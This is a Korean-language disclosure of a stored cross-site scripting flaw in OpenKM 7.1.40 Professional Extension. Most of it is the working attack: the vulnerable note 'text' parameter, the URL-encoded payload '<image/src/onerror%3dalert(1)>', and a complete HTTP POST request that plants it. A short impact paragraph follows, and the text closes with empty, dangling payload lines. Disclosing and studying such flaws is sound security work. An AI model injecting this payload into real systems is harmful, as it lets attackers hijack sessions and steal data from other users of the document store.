
OpenKM 버전 7.1.40에 저장형 크로스 사이트 스크립팅(XSS) 취약점이 존재합니다.
OpenKM 버전 7.1.40(dbb6e88) Professional Extension에는 인증된 사용자가 파일에 메모를 업로드할 때 저장형 XSS 페이로드로 작동하는 저장형 교차 사이트 스크립팅(XSS) 취약점이 존재합니다. 문서 파일의 메모를 여는 모든 사용자는 XSS를 트리거하게 됩니다.
취약한 매개변수: text
Payload :
FINAL Payload (URL encoded) : <image/src/onerror%3dalert(1)>
GET 요청 [http://localhost/openkm/rest/note/nodes/NODE-ID] :
POST /openkm/rest/note/nodes/34bc430a-e3db-4efa-8289-3d0894010f67 HTTP/2
Host: EXAMPLE.COM
Cookie: lang=en-GB; JSESSIONID=EC6EF7B1DB85C3A839C9D3054095AA8E
Content-Length: 23
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Requested-App: kcenter
Sec-Ch-Ua-Mobile: ?0
Authorization: OKM ey[REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin: https://EXAMPLE.COM
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://EXAMPLE.COM/openkm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
text=<image/src/onerror%3dalert(1)>
저장형 XSS를 통해 공격자는 웹 애플리케이션에 악성 스크립트를 주입할 수 있으며, 해당 스크립트는 저장되었다가 다른 사용자가 영향을 받는 페이지를 볼 때 실행됩니다. 이로 인해 민감한 정보의 탈취, 세션 하이재킹 또는 악성코드 유포가 발생할 수 있습니다.

Payload :
FINAL Payload (URL encoded) :